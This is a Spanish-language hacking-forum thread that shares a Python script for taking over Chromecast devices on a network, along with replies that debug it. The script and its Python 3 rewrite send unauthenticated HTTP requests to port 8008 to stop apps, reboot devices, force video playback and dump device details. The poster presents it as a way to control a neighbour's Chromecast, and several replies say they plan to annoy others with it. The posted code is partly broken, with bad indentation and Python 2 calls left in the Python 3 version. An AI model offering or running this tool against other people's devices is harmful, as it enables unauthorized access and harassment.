Underc0de

[In]Seguridad Informática => Hacking => Mensaje iniciado por: ANTRAX en Enero 02, 2018, 07:33:40 PM

Título: ChromeCast Hacking
Publicado por: ANTRAX en Enero 02, 2018, 07:33:40 PM
(https://img.gadgethacks.com/img/40/11/63545438735201/0/root-your-chromecast.1280x600.jpg)

Hola a todos!
En este breve tutorial, les dejaré una tool que sirve para hackear chromecast aunque tengan pin.
Esta tool esta hecha en python, por lo que necesitarán tenerlo instalado en sus PCs.

Lo primero que deben hacer es instalar pip, para ello ejecutarán:

Código (python) [Seleccionar]
sudo apt-get install python-pip

Una vez instalado, deberemos instalar una librería llamada PyChromecast, para ello ejecutamos el siguiente comando:

Código (python) [Seleccionar]
sudo pip install PyChromecast

Finalmente, desde la consola y utilizando python, podrán ejecutar el script:

Código (python) [Seleccionar]
import pychromecast
import os

while True:
    menu = """
1. Scan For Chromecasts
2. Kill Current Running App
3. Reboot Chromecast
4. Play Video
5. Get Rick Rolled ;)
6. Info about chromecast
    """
    print menu

    choose = raw_input(">")

    if choose == "1":
print "[*] Scanning..."
        chromecasts = pychromecast.get_chromecasts()
        myDevices = []
for device in chromecasts:
      device.wait()
        print(str(device))
    elif choose == "2":
        ip = raw_input("IP of Chrome Cast> ")
        os.system('curl -H "Content-Type: application/json" http://%s:8008/apps/YouTube -X DELETE' % (ip))

    elif choose == "3":
        ip = raw_input("IP of Chrome Cast> ")
        os.system('curl -H "Content-Type: application/json" http://%s:8008/setup/reboot -d "{"params":"now"}" -X POST' % (ip))

    elif choose == "4":
        ip = raw_input("IP of Chrome Cast> ")
print "eg. v=dQw4w9WgXcQ"
        video = raw_input("Link> ")
        os.system('curl -H "Content-Type: application/json" http://%s:8008/apps/YouTube -X POST -d "%s"' % (ip, video))
       
    elif choose == "5":
        ip = raw_input("IP of Chrome Cast> ")
        os.system('curl -H "Content-Type: application/json" http://%s:8008/apps/YouTube -X POST -d "v=dQw4w9WgXcQ"' % (ip))

    elif choose == "6":
        ip = raw_input("IP of Chrome Cast> ")
        os.system('curl http://%s:8008/setup/eureka_info?options=detail | json_pp' % (ip))

    else:
print "Error!"


Entre las opciones del script tenemos las siguientes:

Código (text) [Seleccionar]
1. Scan For Chromecasts
2. Kill Current Running App
3. Reboot Chromecast
4. Play Video
5. Get Rick Rolled ;)
6. Info about chromecast


No he podido testearlo a full porque no tengo un chromecast a mano ni vecinos con uno. Pero espero que alguno de ustedes pueda comentarnos con los resultados que obtuvo!

Repo: https://github.com/toxic-ig/ChromeCastHacking/

Saludos y espero que les sirva!
ANTRAX
Título: Re:ChromeCast Hacking
Publicado por: Leo_Al en Marzo 11, 2018, 10:26:44 PM
Buenísimo, mi vecino tiene uno, voy a ver que onda. Gracias por aporte!
Título: Re:ChromeCast Hacking
Publicado por: xrahitel en Marzo 12, 2018, 01:14:19 AM
(https://s6.postimg.org/j1gyxns6p/2018-03-12_111300.gif)
Título: Re:ChromeCast Hacking
Publicado por: ANTRAX en Marzo 12, 2018, 02:02:14 AM
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
(https://s6.postimg.org/j1gyxns6p/2018-03-12_111300.gif)

No te hace falta, el codigo está en el post.

Saludos,
ANTRAX
Título: Re:ChromeCast Hacking
Publicado por: KiddArabic en Marzo 12, 2018, 08:19:17 PM
no entiendo muy bien, puede manejarlo terceros ?
Título: Re:ChromeCast Hacking
Publicado por: ANTRAX en Marzo 19, 2018, 09:41:44 AM
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
no entiendo muy bien, puede manejarlo terceros ?

No entendí tu pregunta. Basicamente sirve para manejar el chromecast de tu vecino

Saludos,
ANTRAX
Título: Re:ChromeCast Hacking
Publicado por: sicalis en Marzo 24, 2018, 07:08:04 AM
root@kali (https://underc0de.org/foro/index.php?action=profile;u=42200):~/Github/chromecast# python ./chromecast.py
  File "./chromecast.py", line 47
    print "Error!"import pychromecast
    ^
IndentationError: expected an indented block

Ese es el error que me sale cuando intento ejecutar el script, alguien lo probo?
Título: Re:ChromeCast Hacking
Publicado por: luff1 en Marzo 26, 2018, 06:02:17 AM
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
root@kali (https://underc0de.org/foro/index.php?action=profile;u=42200):~/Github/chromecast# python ./chromecast.py
  File "./chromecast.py", line 47
    print "Error!"import pychromecast
    ^
IndentationError: expected an indented block

Ese es el error que me sale cuando intento ejecutar el script, alguien lo probo?
Revisa si tu versión de Python coincide con la del script (2.x/3.x).
Un saludo

Enviado desde mi Aquaris X5 Plus mediante Tapatalk
Título: Re:ChromeCast Hacking
Publicado por: mrv0lk0vx en Marzo 30, 2018, 09:15:20 PM
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
root@kali (https://underc0de.org/foro/index.php?action=profile;u=42200):~/Github/chromecast# python ./chromecast.py
  File "./chromecast.py", line 47
    print "Error!"import pychromecast
    ^
IndentationError: expected an indented block

Ese es el error que me sale cuando intento ejecutar el script, alguien lo probo?
Buenas, solo falta poner una tabulación antes del print.. 
Con eso se soluciona el error. Igual me salia ese error.  :P
Saludos.
Título: Re:ChromeCast Hacking
Publicado por: Gn0m3 en Abril 01, 2018, 07:50:01 AM
Al correrlo me da lo siguiente... ::)


Traceback (most recent call last):
  File "Cc.py", line 1, in <module>
    import pychromecast
  File "/usr/local/lib/python2.7/dist-packages/pychromecast/__init__.py", line 9, in <module>
    from .config import *  # noqa
  File "/usr/local/lib/python2.7/dist-packages/pychromecast/config.py", line 6, in <module>
    import requests
  File "/usr/local/lib/python2.7/dist-packages/requests/__init__.py", line 84, in <module>
    from urllib3.contrib import pyopenssl
  File "/usr/lib/python2.7/dist-packages/urllib3/contrib/pyopenssl.py", line 46, in <module>
    import OpenSSL.SSL
  File "/usr/lib/python2.7/dist-packages/OpenSSL/__init__.py", line 8, in <module>
    from OpenSSL import crypto, SSL
  File "/usr/lib/python2.7/dist-packages/OpenSSL/crypto.py", line 12, in <module>
    from cryptography import x509
  File "/usr/lib/python2.7/dist-packages/cryptography/x509/__init__.py", line 8, in <module>
    from cryptography.x509.base import (
  File "/usr/lib/python2.7/dist-packages/cryptography/x509/base.py", line 16, in <module>
    from cryptography.x509.extensions import Extension, ExtensionType
  File "/usr/lib/python2.7/dist-packages/cryptography/x509/extensions.py", line 24, in <module>
    from cryptography.x509.general_name import GeneralName, IPAddress, OtherName
  File "/usr/lib/python2.7/dist-packages/cryptography/x509/general_name.py", line 18, in <module>
    from cryptography.x509.name import Name
  File "/usr/lib/python2.7/dist-packages/cryptography/x509/name.py", line 28, in <module>
    _ASN1_TYPE_TO_ENUM = dict((i.value, i) for i in _ASN1Type)
TypeError: 'type' object is not iterable


Ideas?

Saludos

Gn0m3
Título: Re:ChromeCast Hacking
Publicado por: ANTRAX en Abril 06, 2018, 04:00:45 PM
Pregunta tonta, pero no esta de más...
Lo corriste con sudo?

Saludos,
ANTRAX
Título: Re:ChromeCast Hacking
Publicado por: NERV0 en Abril 06, 2018, 05:22:27 PM
Va como piña, voy a molestar a unos cuantos. Excelente aporte !

Saludos, NERV0.
Título: Re:ChromeCast Hacking
Publicado por: Gn0m3 en Abril 07, 2018, 08:10:59 PM
La corri como root:
Probe con Python 2.7.14+
y
con
Python 3.6.5rc1
Título: Re:ChromeCast Hacking
Publicado por: Gn0m3 en Abril 08, 2018, 05:47:37 PM
Bueno, ya pude resolver mi problema, se los dejo por si alguien le sucede lo mismo tenga forma de arreglarlo.

El problema lo encuentra al buscar enum en el fichero /usr/lib/python2.7/dist-packages/cryptography/x509/name.py

Lo que sucede es que por mas que tengamos enum34 que es el que se debe utilizar, no se actualiza en el archivo mencionado anteriormente.

Debemos abrir /x509/name.py, y editar la linea que dice:

from enum import Enum

le agregamos el 34 para que quede así:

from enum34 import Enum

Guardamos y listo.


Espero le sirva a alguien.

Saludos.

Gn0m3
Título: Re:ChromeCast Hacking
Publicado por: Gn0m3 en Abril 08, 2018, 06:25:01 PM
Bueno, de nuevo yo, jajaja
tenia algunos problemas al querer usarlo con Python3, asique lo edite para Python3 y le agregue un Exit al menu para poder salir.

Código (python) [Seleccionar]

####################################################
####################################################
#| | | |_ __   __| | ___ _ __ ___ / _ \  __| | ___ #
#| | | | '_ \ / _` |/ _ \ '__/ __| | | |/ _` |/ _ \#
#| |_| | | | | (_| |  __/ | | (__| |_| | (_| |  __/#
# \___/|_| |_|\__,_|\___|_|  \___|\___/ \__,_|\___|#
####################################################
####################################################

import pychromecast
import os

while True:
    menu = """
1. Scan For Chromecasts
2. Kill Current Running App
3. Reboot Chromecast
4. Play Video
5. Get Rick Rolled
6. Info about chromecast
0. Exit
    """
    print (menu)

    choose = input (">")

    if choose == "1":
        print ("[*] Scanning...")
        chromecasts = pychromecast.get_chromecasts()
        myDevices = []
        for device in chromecasts:
            device.wait()
            print(str(device))
    elif choose == "2":
        ip = raw_input("IP of Chrome Cast> ")
        os.system('curl -H "Content-Type: application/json" http://%s:8008/apps/YouTube -X DELETE' % (ip))

    elif choose == "3":
        ip = raw_input("IP of Chrome Cast> ")
        os.system('curl -H "Content-Type: application/json" http://%s:8008/setup/reboot -d "{"params":"now"}" -X POST' % (ip))

    elif choose == "4":
        ip = raw_input("IP of Chrome Cast> ")
        print ("eg. v=dQw4w9WgXcQ")
        video = raw_input("Link> ")
        os.system('curl -H "Content-Type: application/json" http://%s:8008/apps/YouTube -X POST -d "%s"' % (ip, video))
       
    elif choose == "5":
        ip = raw_input("IP of Chrome Cast> ")
        os.system('curl -H "Content-Type: application/json" http://%s:8008/apps/YouTube -X POST -d "v=dQw4w9WgXcQ"' % (ip))

    elif choose == "6":
        ip = raw_input("IP of Chrome Cast> ")
        os.system('curl http://%s:8008/setup/eureka_info?options=detail | json_pp' % (ip))

    elif choose == "0":
        break
    else:
        print ("Error!")


Saludos

Gn0m3
Título: Re:ChromeCast Hacking
Publicado por: ANTRAX en Abril 08, 2018, 07:56:28 PM
Tremendo aporte @Gn0m3 (https://underc0de.org/foro/index.php?action=profile;u=17035)
Mil gracias!